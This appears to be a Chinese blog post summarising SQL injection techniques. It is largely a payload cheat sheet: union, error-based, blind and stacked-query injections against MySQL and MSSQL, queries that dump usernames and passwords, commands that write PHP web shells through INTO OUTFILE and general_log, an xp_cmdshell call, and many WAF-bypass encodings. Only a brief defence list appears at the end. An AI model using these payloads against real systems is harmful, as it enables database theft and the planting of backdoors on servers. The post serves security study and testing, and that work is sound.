<
SQL注入总结
>
上一篇

软件逆向入门01
下一篇

代码审计基础
SQL注入总结

SQL注入原理

当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。 攻击者通过构造不同的sql语句来实现对数据库的任意操作。

SQL注入的分类

按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分
sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis

MySQL与MSSQL及ACCESS之间的区别

MySQL5.0以下没有information_schema这个默认数据库
ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

判断三种数据库的语句

MySQL:and length(user())>10

ACCESS:and (select count(*)from MSysAccessObjects)>0

MSSQL:and (select count(*)from sysobjects)>0

基本手工注入流程

  1. 判断注入点
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#
  1. 获取字段数
    order by 二分法联合查询字段数,观察页面变化从而确定字段数
    group by 译为分组
  2. 查看显示位尝试使用联合注入
    利用and 1=2或and 0及id=-12查看显示数据的位置
    替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select version(),2,3

查询所有数据库

and 1=2 union select (select group_concat(schema_name)from information_schema.schemata),2,3

查询所有表名

union select (select group_concat(table_name)from information_schema.tables),2,3
#读当前数据库所有表名
union select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3

查询所有字段名

union select (select group_concat(column_name)from information_schema.columns),2,3
#读当前数据,key表的所有字段名
union select (select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='key'),2,3

查询字段内容

#查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3

报错注入

通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (extractvalue(1,concat('~',(select user()),'~')));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
updatexml报错最多只能显示32位,有时需要搭配SUBSTR函数来使用
concat函数被过滤时可以尝试使用make_set、lpad、export_set等函数进行替换
select * from test where id=1 and (updatexml(1,make_set(3,0x7e,(select user()),0x7e),1));
select * from test where id=1 and updatexml(1,lpad('@',30,(select user())),1);
select * from test where id=1 and updatexml(1,repeat((select user()),2),1);
select * from test where id=1 and updatexml(1,export_set(1|2,'::',(select user())),1);
select * from test where id=1 and updatexml(1,reverse((select user())),1);

双查询注入

双注入查询需要理解四个函数/语句

  1. Rand() //随机函数
  2. Floor() //取整函数
  3. Count() //汇总函数
  4. Group by clause //分组语句
# 使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息
# 构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

布尔盲注

常用函数

通过if语句嵌套子查询进行判断
子查询格式:select * from users where id=(select username from users);
?id=if(1=1,1,(select table_name from information_schema.tables))
?id=if(1=2,1,(select table_name from information_schema.tables))

1.png

延时盲注

# 基本延时注入
select * from user where id='1' or sleep(3) %23
# 如果长度大于10,则睡3秒,其他则0秒
select * from user where id= 1 and if(length(version())>10,sleep(3),0);
# case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

内联注入

id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
# 利用别名
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

getshell

获取路径
@@basedir
@@datadir
默认mysql文件导入导出为不允许的
查看配置 show variables like ‘%secure%’;
secure_file_prive=null 不允许导入导出

outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
LPK.dll提权,写启动项提权 综合利用脚本

# 假设网站目录在C:/work/WWW/下
select '<?php @eval($_POST[k]);?>'INTO OUTFILE 'C:/work/WWW/shell.php';
# 未关闭系统函数的情况下<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?> 
# linux下也可以写入<? system($_GET[\'c\']); ?>
# 过杀软 <?php include 'shell.jpg' ?>
select unhex('十六进制字符串') into dumpfile 'c:/work/WWW/shell.php'

通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。

如果global general_log=’on’也可通过修改配置来获取shell

SET global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
#只需查询
SELECT '<?php assert($_POST["cmd"]);?>';

宽字节注入

当编码位gbk时,%df%27或%81%27数据为空

二次编码注入

代码中有urldecode() 函数
%2527 先解码成%27再解码成’单引号

sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"
-prefix为设置前缀    -suffix为设置后缀
设置后缀,防止sqlmap使用内联注入

图片上传文件名SQL注入

二次注入

abc’ 数据经过addslashes过滤,单引号前面添加反斜杠abc',但传到数据库的数据还是abc’
假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;
接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

XFF头注入

堆叠注入

分号(;)是用来表示一条sql语句的结束。使用;联合注入语句

-1';show columns from table #

外带日志

xip.io ceye.io

绕WAF

# 大小写绕过
UnIoN SeLcT 1,2,3
# 内联注释
id=-1/*!UNION*/%20//*!SELECT*/%201,2,3
# 特殊字符替换空格
%09 tab键(水平)、%0a 换行、%0c 新的一页
%0d return功能、%0b tab键(垂直)、%a0空格
# 等价函数和逻辑符号替换
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
逻辑符号:如and和or不能使用时,尝试&&和||双管道符。
# 特殊符号
反引号,select `version()`,绕过空格和正则
加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤
@符号,用于定义变量,一个@代表用户变量,@@代表系统变量
# 关键字拆分
'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
# 加括号
小括号
union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
花括号
select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3
# 过滤and和or的盲注
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23
# 白名单绕过
拦截信息:
GET /pen/news.php?id=1 union select user,password from mysql.user
绕过
GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user
# http参数控制
# HPP(HTTP Parmeter Polution)(重复参数污染)
index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users    
# HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。
# 具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
# HPF(HTTP Parmeter Fragment)(HTTP分割注入)
# HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

奇淫技巧

在不知道列名的情况下注入

在版本号小于5的MYSQL,甚至在版本号大于等于5的MYSQL中,WAF将information_schema的任何调用都列进了黑名单,对于数据库表只能猜测。(或许有其他方法)

通过以下语句可以将列名转换
select 1,2,3,4,5,6 union select * from users;
查询数据,其中a是表的别名,每一个派生出来的表都必须有一个自己的别名
select `1` from (select 1,2,3,4,5,6 union select * from users)a
最终payload
-1 union select null,(select concat(`3`,0x3a,`4`),null from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
预编译sql语句绕过过滤

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
修改表名达到带出数据目的

如原始sql查询:select id,name from t1 where id=1;
当其存在注入时,可以修改表名,和字段名,已达到用原始语句查询目标表数据的目的。

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
随后使用1' or 1=1#即可查询想要数据

防御

SQL注入防御

  1. 对用户输入的内容进行转义
  2. 限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
  3. 使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数
  4. 添加WAF,防火墙等
Top
Foot